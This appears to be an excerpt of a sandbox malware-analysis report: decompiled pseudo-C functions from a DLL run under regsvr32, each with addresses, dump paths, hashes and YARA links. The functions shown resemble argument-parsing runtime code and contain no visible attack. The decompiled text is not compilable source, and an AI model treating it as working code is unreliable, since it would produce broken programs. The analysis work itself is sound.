                                                                                                        			E00000001180032708(void* __eax, long long __rbx, long long __rcx, long long* __rdx, long long _a8) {
				signed long long _v16;
				long long _v24;
				void* __rdi;
				signed int _t41;
				long long _t43;
				intOrPtr _t56;
				signed long long _t57;
				intOrPtr _t60;
				signed long long _t61;
				long long _t64;
				long long _t67;
				long long _t68;
				long long* _t71;
				long long _t72;
				void* _t73;
				void* _t74;
				short* _t79;
				void* _t80;

				_a8 = __rbx;
				_t64 = __rcx;
				if ( *((intOrPtr*)(__rcx + 0x474)) != 1) goto 0x80032736;
				_t79 =  *((intOrPtr*)(__rcx + 0x18));
				 *((long long*)(__rcx + 0x18)) = _t79 + 8;
				_t67 =  *_t79;
				 *__rdx = _t67;
				goto 0x80032804;
				if (__eax - 0x63 <= 0) goto 0x80032777;
				_t56 =  *((intOrPtr*)(_t67 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t56 + 0x30)) = 1;
				 *((intOrPtr*)(_t56 + 0x2c)) = 0x16;
				_t57 =  *((intOrPtr*)(_t67 + 8));
				_v16 = _t57;
				_v24 = _t72;
				E00000001180025880(_t57, __rcx, _t67, __rdx, _t73, _t74, _t79 + 8);
				goto 0x80032806;
				if ( *((intOrPtr*)(_t67 + 0x470)) != 1) goto 0x800327f5;
				_t43 =  *((intOrPtr*)(_t67 + 0x34));
				r9b =  *((intOrPtr*)(_t64 + 0x39));
				_t71 = _t64 + (_t57 + _t57 * 2 + 0x90) * 8;
				if ( *_t71 != 0) goto 0x800327b1;
				 *_t71 = 1;
				 *((intOrPtr*)(_t71 + 4)) = r9b;
				 *((intOrPtr*)(_t71 + 0x10)) = _t43;
				dil = 1;
				goto 0x80032806;
				_v24 = _t43;
				r8d = 1;
				_t68 = _t64;
				if (E0000000118003FE64(_t41, _t64, _t68, _t71, _t72, _t79, _t80) != 0) goto 0x800327a9;
				_t60 =  *((intOrPtr*)(_t64 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t60 + 0x30)) = 1;
				 *((intOrPtr*)(_t60 + 0x2c)) = 0x16;
				_t61 =  *((intOrPtr*)(_t64 + 8));
				_v16 = _t61;
				_v24 = _t72;
				E00000001180025880(_t61, _t64, _t68, _t71, _t73, _t74, _t79 + 8);
				goto 0x800327ac;
				 *_t71 =  *((short*)( *((intOrPtr*)(_t68 + 0x488 + _t61 * 8))));
				return 1;
			}





















                                                                                                        0x180032708
                                                                                                        0x180032719
                                                                                                        0x18003271c
                                                                                                        0x18003271e
                                                                                                        0x180032726
                                                                                                        0x18003272a
                                                                                                        0x18003272e
                                                                                                        0x180032731
                                                                                                        0x180032740
                                                                                                        0x180032742
                                                                                                        0x180032748
                                                                                                        0x18003274b
                                                                                                        0x180032750
                                                                                                        0x180032754
                                                                                                        0x18003275b
                                                                                                        0x180032761
                                                                                                        0x180032766
                                                                                                        0x18003276b
                                                                                                        0x180032772
                                                                                                        0x180032782
                                                                                                        0x180032784
                                                                                                        0x18003278e
                                                                                                        0x180032792
                                                                                                        0x18003279a
                                                                                                        0x18003279c
                                                                                                        0x1800327a2
                                                                                                        0x1800327a6
                                                                                                        0x1800327a9
                                                                                                        0x1800327af
                                                                                                        0x1800327b1
                                                                                                        0x1800327b5
                                                                                                        0x1800327bb
                                                                                                        0x1800327c5
                                                                                                        0x1800327c7
                                                                                                        0x1800327cb
                                                                                                        0x1800327ce
                                                                                                        0x1800327d5
                                                                                                        0x1800327d9
                                                                                                        0x1800327e0
                                                                                                        0x1800327e4
                                                                                                        0x1800327e9
                                                                                                        0x1800327ee
                                                                                                        0x1800327f3
                                                                                                        0x180032801
                                                                                                        0x180032810

                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: 3bac46b80c877e10b61f2a70d2b42665310ce69a32165a0581889d81a6b12a68
                                                                                                        • Instruction ID: a0dc90584ee3e2572173aedfd03695ccdfd32d4086ee044a18e745819cc15b9c
                                                                                                        • Opcode Fuzzy Hash: 3bac46b80c877e10b61f2a70d2b42665310ce69a32165a0581889d81a6b12a68
                                                                                                        • Instruction Fuzzy Hash: 37319376209788C6DBA68F29D0407AD77A0F39DB8CF658115EB8C0B751DF36C196C704
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0000000180034738 Relevance: .1, Instructions: 71COMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 49%
                                                                                                        			E00000001180034738(void* __eax, long long __rbx, long long __rcx, long long* __rdx, long long _a8) {
				signed long long _v16;
				long long _v24;
				long long _t42;
				intOrPtr _t55;
				signed long long _t56;
				intOrPtr _t59;
				signed long long _t60;
				long long _t63;
				intOrPtr* _t66;
				long long _t67;
				intOrPtr* _t68;
				long long* _t71;
				long long _t72;
				void* _t73;
				void* _t74;
				void* _t79;

				_a8 = __rbx;
				_t63 = __rcx;
				if ( *((intOrPtr*)(__rcx + 0x474)) != 1) goto 0x80034765;
				_t66 =  *((intOrPtr*)(__rcx + 0x18));
				 *((long long*)(__rcx + 0x18)) = _t66 + 8;
				_t67 =  *_t66;
				 *__rdx = _t67;
				goto 0x80034834;
				if (__eax - 0x63 <= 0) goto 0x800347a6;
				_t55 =  *((intOrPtr*)(_t67 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t55 + 0x30)) = 1;
				 *((intOrPtr*)(_t55 + 0x2c)) = 0x16;
				_t56 =  *((intOrPtr*)(_t67 + 8));
				_v16 = _t56;
				_v24 = _t72;
				E00000001180025880(_t56, __rcx, _t67, __rdx, _t73, _t74, _t66 + 8);
				goto 0x80034836;
				if ( *((intOrPtr*)(_t67 + 0x470)) != 1) goto 0x80034826;
				_t42 =  *((intOrPtr*)(_t67 + 0x34));
				r9d =  *(_t63 + 0x3a) & 0x0000ffff;
				_t71 = _t63 + (_t56 + _t56 * 2 + 0x90) * 8;
				if ( *_t71 != 0) goto 0x800347e2;
				 *_t71 = 3;
				 *((intOrPtr*)(_t71 + 4)) = r9w;
				 *((intOrPtr*)(_t71 + 0x10)) = _t42;
				dil = 1;
				goto 0x80034836;
				_v24 = _t42;
				r8d = 3;
				_t68 = _t63;
				if (E000000011800402CC(_t63, _t68, _t71, _t73, _t79) != 0) goto 0x800347da;
				_t59 =  *((intOrPtr*)(_t63 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t59 + 0x30)) = 1;
				 *((intOrPtr*)(_t59 + 0x2c)) = 0x16;
				_t60 =  *((intOrPtr*)(_t63 + 8));
				_v16 = _t60;
				_v24 = _t72;
				E00000001180025880(_t60, _t63, _t68, _t71, _t73, _t74, _t66 + 8);
				goto 0x800347dd;
				 *_t71 =  *((intOrPtr*)( *((intOrPtr*)(_t68 + 0x488 + _t60 * 8))));
				return 1;
			}



















                                                                                                        0x180034738
                                                                                                        0x180034749
                                                                                                        0x18003474c
                                                                                                        0x18003474e
                                                                                                        0x180034756
                                                                                                        0x18003475a
                                                                                                        0x18003475d
                                                                                                        0x180034760
                                                                                                        0x18003476f
                                                                                                        0x180034771
                                                                                                        0x180034777
                                                                                                        0x18003477a
                                                                                                        0x18003477f
                                                                                                        0x180034783
                                                                                                        0x18003478a
                                                                                                        0x180034790
                                                                                                        0x180034795
                                                                                                        0x18003479a
                                                                                                        0x1800347a1
                                                                                                        0x1800347b1
                                                                                                        0x1800347b3
                                                                                                        0x1800347bd
                                                                                                        0x1800347c2
                                                                                                        0x1800347ca
                                                                                                        0x1800347cc
                                                                                                        0x1800347d2
                                                                                                        0x1800347d7
                                                                                                        0x1800347da
                                                                                                        0x1800347e0
                                                                                                        0x1800347e2
                                                                                                        0x1800347e6
                                                                                                        0x1800347ec
                                                                                                        0x1800347f6
                                                                                                        0x1800347f8
                                                                                                        0x1800347fc
                                                                                                        0x1800347ff
                                                                                                        0x180034806
                                                                                                        0x18003480a
                                                                                                        0x180034811
                                                                                                        0x180034815
                                                                                                        0x18003481a
                                                                                                        0x18003481f
                                                                                                        0x180034824
                                                                                                        0x180034831
                                                                                                        0x180034840

                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: 3eac0863150bfa8e42d26b6571ba4d6a3e5c9a8cf89cfacbf276231e25f78093
                                                                                                        • Instruction ID: 2063321c86dd2f28e23fe0d458b43482f2dda0347e4055dd47e0a01d15964666
                                                                                                        • Opcode Fuzzy Hash: 3eac0863150bfa8e42d26b6571ba4d6a3e5c9a8cf89cfacbf276231e25f78093
                                                                                                        • Instruction Fuzzy Hash: FD317E77619A88C6EBA68F29E0403AD77A4F389F88F658125DB8C4F760DF36C156C704
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0000000180035748 Relevance: .1, Instructions: 71COMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 52%
                                                                                                        			E00000001180035748(void* __eax, long long __rbx, long long __rcx, short* __rdx, long long _a8) {
				signed long long _v16;
				long long _v24;
				void* __rdi;
				signed int _t42;
				long long _t45;
				intOrPtr _t58;
				signed long long _t59;
				intOrPtr _t62;
				signed long long _t63;
				long long _t65;
				long long _t67;
				long long _t68;
				short* _t71;
				long long _t72;
				void* _t73;
				void* _t74;
				signed short* _t79;
				void* _t80;

				_t67 = __rcx;
				_a8 = __rbx;
				_t65 = __rcx;
				if ( *((intOrPtr*)(__rcx + 0x474)) != 1) goto 0x80035776;
				_t79 =  *(__rcx + 0x18);
				 *(__rcx + 0x18) =  &(_t79[4]);
				 *__rdx =  *_t79 & 0x0000ffff;
				goto 0x80035843;
				if (__eax - 0x63 <= 0) goto 0x800357b7;
				_t58 =  *((intOrPtr*)(__rcx + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t58 + 0x30)) = 1;
				 *((intOrPtr*)(_t58 + 0x2c)) = 0x16;
				_t59 =  *((intOrPtr*)(__rcx + 8));
				_v16 = _t59;
				_v24 = _t72;
				E00000001180025880(_t59, __rcx, __rcx, __rdx, _t73, _t74,  &(_t79[4]));
				goto 0x80035845;
				if ( *((intOrPtr*)(_t67 + 0x470)) != 1) goto 0x80035835;
				_t45 =  *((intOrPtr*)(_t67 + 0x34));
				r9b =  *((intOrPtr*)(_t65 + 0x39));
				_t71 = _t65 + (_t59 + _t59 * 2 + 0x90) * 8;
				if ( *_t71 != 0) goto 0x800357f1;
				 *_t71 = 1;
				 *((intOrPtr*)(_t71 + 4)) = r9b;
				 *((intOrPtr*)(_t71 + 0x10)) = _t45;
				dil = 1;
				goto 0x80035845;
				_v24 = _t45;
				r8d = 1;
				_t68 = _t65;
				if (E0000000118003FE64(_t42, _t65, _t68, _t71, _t72, _t79, _t80) != 0) goto 0x800357e9;
				_t62 =  *((intOrPtr*)(_t65 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t62 + 0x30)) = 1;
				 *((intOrPtr*)(_t62 + 0x2c)) = 0x16;
				_t63 =  *((intOrPtr*)(_t65 + 8));
				_v16 = _t63;
				_v24 = _t72;
				E00000001180025880(_t63, _t65, _t68, _t71, _t73, _t74,  &(_t79[4]));
				goto 0x800357ec;
				 *_t71 =  *( *(_t68 + 0x488 + _t63 * 8)) & 0x0000ffff;
				return 1;
			}





















                                                                                                        0x180035748
                                                                                                        0x180035748
                                                                                                        0x180035759
                                                                                                        0x18003575c
                                                                                                        0x18003575e
                                                                                                        0x180035766
                                                                                                        0x18003576e
                                                                                                        0x180035771
                                                                                                        0x180035780
                                                                                                        0x180035782
                                                                                                        0x180035788
                                                                                                        0x18003578b
                                                                                                        0x180035790
                                                                                                        0x180035794
                                                                                                        0x18003579b
                                                                                                        0x1800357a1
                                                                                                        0x1800357a6
                                                                                                        0x1800357ab
                                                                                                        0x1800357b2
                                                                                                        0x1800357c2
                                                                                                        0x1800357c4
                                                                                                        0x1800357ce
                                                                                                        0x1800357d2
                                                                                                        0x1800357da
                                                                                                        0x1800357dc
                                                                                                        0x1800357e2
                                                                                                        0x1800357e6
                                                                                                        0x1800357e9
                                                                                                        0x1800357ef
                                                                                                        0x1800357f1
                                                                                                        0x1800357f5
                                                                                                        0x1800357fb
                                                                                                        0x180035805
                                                                                                        0x180035807
                                                                                                        0x18003580b
                                                                                                        0x18003580e
                                                                                                        0x180035815
                                                                                                        0x180035819
                                                                                                        0x180035820
                                                                                                        0x180035824
                                                                                                        0x180035829
                                                                                                        0x18003582e
                                                                                                        0x180035833
                                                                                                        0x180035840
                                                                                                        0x18003584f

                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: 57cf1dc2dc3edbe68870fabe28507a29dd487fa66db59d820006406f15f0890b
                                                                                                        • Instruction ID: 15756999272db886405f0e3c878f40c933f27cb3466ed479fe68db4500c1dbc8
                                                                                                        • Opcode Fuzzy Hash: 57cf1dc2dc3edbe68870fabe28507a29dd487fa66db59d820006406f15f0890b
                                                                                                        • Instruction Fuzzy Hash: 65319376205788C6DBA68F29E0403AD77A0F39CB8CF658115EB8C4B761DF36C596CB04
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 00000001800337E0 Relevance: .1, Instructions: 71COMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 52%
                                                                                                        			E000000011800337E0(void* __eax, long long __rbx, long long __rcx, long long* __rdx, long long _a8) {
				signed long long _v16;
				signed long long _v24;
				void* __rdi;
				signed int _t42;
				signed long long _t45;
				intOrPtr _t58;
				signed long long _t59;
				intOrPtr _t62;
				signed long long _t63;
				long long _t65;
				long long _t67;
				signed long long* _t71;
				signed long long _t72;
				void* _t73;
				void* _t74;
				void* _t80;

				_t67 = __rcx;
				_a8 = __rbx;
				_t65 = __rcx;
				if ( *((intOrPtr*)(__rcx + 0x474)) != 1) goto 0x8003380d;
				_t79 =  *((intOrPtr*)(__rcx + 0x18));
				 *((long long*)(__rcx + 0x18)) =  *((intOrPtr*)(__rcx + 0x18)) + 8;
				 *__rdx = __rcx;
				goto 0x800338d9;
				if (__eax - 0x63 <= 0) goto 0x8003384e;
				_t58 =  *((intOrPtr*)(__rcx + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t58 + 0x30)) = 1;
				 *((intOrPtr*)(_t58 + 0x2c)) = 0x16;
				_t59 =  *((intOrPtr*)(__rcx + 8));
				_v16 = _t59;
				_v24 = _t72;
				E00000001180025880(_t59, __rcx, __rcx, __rdx, _t73, _t74,  *((intOrPtr*)(__rcx + 0x18)) + 8);
				goto 0x800338db;
				if ( *((intOrPtr*)(_t67 + 0x470)) != 1) goto 0x800338cc;
				_t45 =  *(_t67 + 0x34);
				r9b =  *(_t65 + 0x39);
				_t71 = _t65 + (_t59 + _t59 * 2 + 0x90) * 8;
				if ( *_t71 != 0) goto 0x80033888;
				 *_t71 = 1;
				_t71[0] = r9b;
				_t71[2] = _t45;
				dil = 1;
				goto 0x800338db;
				_v24 = _t45;
				r8d = 1;
				if (E00000001180040098(_t42, _t65, _t65, _t71, _t72, _t79, _t80) != 0) goto 0x80033880;
				_t62 =  *((intOrPtr*)(_t65 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t62 + 0x30)) = 1;
				 *((intOrPtr*)(_t62 + 0x2c)) = 0x16;
				_t63 =  *((intOrPtr*)(_t65 + 8));
				_v16 = _t63;
				_v24 = _t72;
				E00000001180025880(_t63, _t65, _t65, _t71, _t73, _t74,  *((intOrPtr*)(__rcx + 0x18)) + 8);
				goto 0x80033883;
				 *_t71 = _t63;
				return 1;
			}



















                                                                                                        0x1800337e0
                                                                                                        0x1800337e0
                                                                                                        0x1800337f1
                                                                                                        0x1800337f4
                                                                                                        0x1800337f6
                                                                                                        0x1800337fe
                                                                                                        0x180033805
                                                                                                        0x180033808
                                                                                                        0x180033817
                                                                                                        0x180033819
                                                                                                        0x18003381f
                                                                                                        0x180033822
                                                                                                        0x180033827
                                                                                                        0x18003382b
                                                                                                        0x180033832
                                                                                                        0x180033838
                                                                                                        0x18003383d
                                                                                                        0x180033842
                                                                                                        0x180033849
                                                                                                        0x180033859
                                                                                                        0x18003385b
                                                                                                        0x180033865
                                                                                                        0x180033869
                                                                                                        0x180033871
                                                                                                        0x180033873
                                                                                                        0x180033879
                                                                                                        0x18003387d
                                                                                                        0x180033880
                                                                                                        0x180033886
                                                                                                        0x180033888
                                                                                                        0x18003388c
                                                                                                        0x18003389c
                                                                                                        0x18003389e
                                                                                                        0x1800338a2
                                                                                                        0x1800338a5
                                                                                                        0x1800338ac
                                                                                                        0x1800338b0
                                                                                                        0x1800338b7
                                                                                                        0x1800338bb
                                                                                                        0x1800338c0
                                                                                                        0x1800338c5
                                                                                                        0x1800338ca
                                                                                                        0x1800338d6
                                                                                                        0x1800338e5

                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: 1a7e13ba499b5b74c3730b00990861576ef9351af669e3dfeca33589f936517e
                                                                                                        • Instruction ID: 7115001d3d3cfd729a1bbc7ce1d94b39f7b324e46cb4690b768e483a92b5ff42
                                                                                                        • Opcode Fuzzy Hash: 1a7e13ba499b5b74c3730b00990861576ef9351af669e3dfeca33589f936517e
                                                                                                        • Instruction Fuzzy Hash: CC31A472605788C6DB668F29D4813AD77A0F38DB8CF658119EB8D0B751CF36C556CB04
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0000000180032814 Relevance: .1, Instructions: 71COMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 52%
                                                                                                        			E00000001180032814(void* __eax, long long __rbx, long long __rcx, long long* __rdx, long long _a8) {
				signed long long _v16;
				long long _v24;
				void* __rdi;
				signed int _t41;
				long long _t43;
				intOrPtr _t56;
				signed long long _t57;
				intOrPtr _t60;
				signed long long _t61;
				long long _t64;
				long long _t67;
				long long _t68;
				long long* _t71;
				long long _t72;
				void* _t73;
				void* _t74;
				short* _t79;
				void* _t80;

				_a8 = __rbx;
				_t64 = __rcx;
				if ( *((intOrPtr*)(__rcx + 0x474)) != 1) goto 0x80032842;
				_t79 =  *((intOrPtr*)(__rcx + 0x18));
				 *((long long*)(__rcx + 0x18)) = _t79 + 8;
				_t67 =  *_t79;
				 *__rdx = _t67;
				goto 0x80032910;
				if (__eax - 0x63 <= 0) goto 0x80032883;
				_t56 =  *((intOrPtr*)(_t67 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t56 + 0x30)) = 1;
				 *((intOrPtr*)(_t56 + 0x2c)) = 0x16;
				_t57 =  *((intOrPtr*)(_t67 + 8));
				_v16 = _t57;
				_v24 = _t72;
				E00000001180025880(_t57, __rcx, _t67, __rdx, _t73, _t74, _t79 + 8);
				goto 0x80032912;
				if ( *((intOrPtr*)(_t67 + 0x470)) != 1) goto 0x80032901;
				_t43 =  *((intOrPtr*)(_t67 + 0x34));
				r9b =  *((intOrPtr*)(_t64 + 0x39));
				_t71 = _t64 + (_t57 + _t57 * 2 + 0x90) * 8;
				if ( *_t71 != 0) goto 0x800328bd;
				 *_t71 = 1;
				 *((intOrPtr*)(_t71 + 4)) = r9b;
				 *((intOrPtr*)(_t71 + 0x10)) = _t43;
				dil = 1;
				goto 0x80032912;
				_v24 = _t43;
				r8d = 1;
				_t68 = _t64;
				if (E00000001180040098(_t41, _t64, _t68, _t71, _t72, _t79, _t80) != 0) goto 0x800328b5;
				_t60 =  *((intOrPtr*)(_t64 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t60 + 0x30)) = 1;
				 *((intOrPtr*)(_t60 + 0x2c)) = 0x16;
				_t61 =  *((intOrPtr*)(_t64 + 8));
				_v16 = _t61;
				_v24 = _t72;
				E00000001180025880(_t61, _t64, _t68, _t71, _t73, _t74, _t79 + 8);
				goto 0x800328b8;
				 *_t71 =  *((short*)( *((intOrPtr*)(_t68 + 0x488 + _t61 * 8))));
				return 1;
			}





















                                                                                                        0x180032814
                                                                                                        0x180032825
                                                                                                        0x180032828
                                                                                                        0x18003282a
                                                                                                        0x180032832
                                                                                                        0x180032836
                                                                                                        0x18003283a
                                                                                                        0x18003283d
                                                                                                        0x18003284c
                                                                                                        0x18003284e
                                                                                                        0x180032854
                                                                                                        0x180032857
                                                                                                        0x18003285c
                                                                                                        0x180032860
                                                                                                        0x180032867
                                                                                                        0x18003286d
                                                                                                        0x180032872
                                                                                                        0x180032877
                                                                                                        0x18003287e
                                                                                                        0x18003288e
                                                                                                        0x180032890
                                                                                                        0x18003289a
                                                                                                        0x18003289e
                                                                                                        0x1800328a6
                                                                                                        0x1800328a8
                                                                                                        0x1800328ae
                                                                                                        0x1800328b2
                                                                                                        0x1800328b5
                                                                                                        0x1800328bb
                                                                                                        0x1800328bd
                                                                                                        0x1800328c1
                                                                                                        0x1800328c7
                                                                                                        0x1800328d1
                                                                                                        0x1800328d3
                                                                                                        0x1800328d7
                                                                                                        0x1800328da
                                                                                                        0x1800328e1
                                                                                                        0x1800328e5
                                                                                                        0x1800328ec
                                                                                                        0x1800328f0
                                                                                                        0x1800328f5
                                                                                                        0x1800328fa
                                                                                                        0x1800328ff
                                                                                                        0x18003290d
                                                                                                        0x18003291c

                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: 07c39d5b59155e5e79d3123545e1d259cc8273119a46c16f06ef86fc1d6749f1
                                                                                                        • Instruction ID: 7e39e90fcb600b210442c5fa1eda3b285b255b80f7cd66c7cd74afbe3a31ed3a
                                                                                                        • Opcode Fuzzy Hash: 07c39d5b59155e5e79d3123545e1d259cc8273119a46c16f06ef86fc1d6749f1
                                                                                                        • Instruction Fuzzy Hash: 33317372605B98C5EB668F29D0403AD77A0F39DB8CF658115EB8C0B751DF36C196CB04
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0000000180034844 Relevance: .1, Instructions: 71COMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 49%
                                                                                                        			E00000001180034844(void* __eax, long long __rbx, long long __rcx, long long* __rdx, long long _a8) {
				signed long long _v16;
				long long _v24;
				long long _t42;
				intOrPtr _t55;
				signed long long _t56;
				intOrPtr _t59;
				signed long long _t60;
				long long _t63;
				intOrPtr* _t66;
				long long _t67;
				intOrPtr* _t68;
				long long* _t71;
				long long _t72;
				void* _t73;
				void* _t74;
				void* _t79;

				_a8 = __rbx;
				_t63 = __rcx;
				if ( *((intOrPtr*)(__rcx + 0x474)) != 1) goto 0x80034871;
				_t66 =  *((intOrPtr*)(__rcx + 0x18));
				 *((long long*)(__rcx + 0x18)) = _t66 + 8;
				_t67 =  *_t66;
				 *__rdx = _t67;
				goto 0x80034940;
				if (__eax - 0x63 <= 0) goto 0x800348b2;
				_t55 =  *((intOrPtr*)(_t67 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t55 + 0x30)) = 1;
				 *((intOrPtr*)(_t55 + 0x2c)) = 0x16;
				_t56 =  *((intOrPtr*)(_t67 + 8));
				_v16 = _t56;
				_v24 = _t72;
				E00000001180025880(_t56, __rcx, _t67, __rdx, _t73, _t74, _t66 + 8);
				goto 0x80034942;
				if ( *((intOrPtr*)(_t67 + 0x470)) != 1) goto 0x80034932;
				_t42 =  *((intOrPtr*)(_t67 + 0x34));
				r9d =  *(_t63 + 0x3a) & 0x0000ffff;
				_t71 = _t63 + (_t56 + _t56 * 2 + 0x90) * 8;
				if ( *_t71 != 0) goto 0x800348ee;
				 *_t71 = 3;
				 *((intOrPtr*)(_t71 + 4)) = r9w;
				 *((intOrPtr*)(_t71 + 0x10)) = _t42;
				dil = 1;
				goto 0x80034942;
				_v24 = _t42;
				r8d = 3;
				_t68 = _t63;
				if (E000000011800404D0(_t63, _t68, _t71, _t73, _t79) != 0) goto 0x800348e6;
				_t59 =  *((intOrPtr*)(_t63 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t59 + 0x30)) = 1;
				 *((intOrPtr*)(_t59 + 0x2c)) = 0x16;
				_t60 =  *((intOrPtr*)(_t63 + 8));
				_v16 = _t60;
				_v24 = _t72;
				E00000001180025880(_t60, _t63, _t68, _t71, _t73, _t74, _t66 + 8);
				goto 0x800348e9;
				 *_t71 =  *((intOrPtr*)( *((intOrPtr*)(_t68 + 0x488 + _t60 * 8))));
				return 1;
			}



















                                                                                                        0x180034844
                                                                                                        0x180034855
                                                                                                        0x180034858
                                                                                                        0x18003485a
                                                                                                        0x180034862
                                                                                                        0x180034866
                                                                                                        0x180034869
                                                                                                        0x18003486c
                                                                                                        0x18003487b
                                                                                                        0x18003487d
                                                                                                        0x180034883
                                                                                                        0x180034886
                                                                                                        0x18003488b
                                                                                                        0x18003488f
                                                                                                        0x180034896
                                                                                                        0x18003489c
                                                                                                        0x1800348a1
                                                                                                        0x1800348a6
                                                                                                        0x1800348ad
                                                                                                        0x1800348bd
                                                                                                        0x1800348bf
                                                                                                        0x1800348c9
                                                                                                        0x1800348ce
                                                                                                        0x1800348d6
                                                                                                        0x1800348d8
                                                                                                        0x1800348de
                                                                                                        0x1800348e3
                                                                                                        0x1800348e6
                                                                                                        0x1800348ec
                                                                                                        0x1800348ee
                                                                                                        0x1800348f2
                                                                                                        0x1800348f8
                                                                                                        0x180034902
                                                                                                        0x180034904
                                                                                                        0x180034908
                                                                                                        0x18003490b
                                                                                                        0x180034912
                                                                                                        0x180034916
                                                                                                        0x18003491d
                                                                                                        0x180034921
                                                                                                        0x180034926
                                                                                                        0x18003492b
                                                                                                        0x180034930
                                                                                                        0x18003493d
                                                                                                        0x18003494c

                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
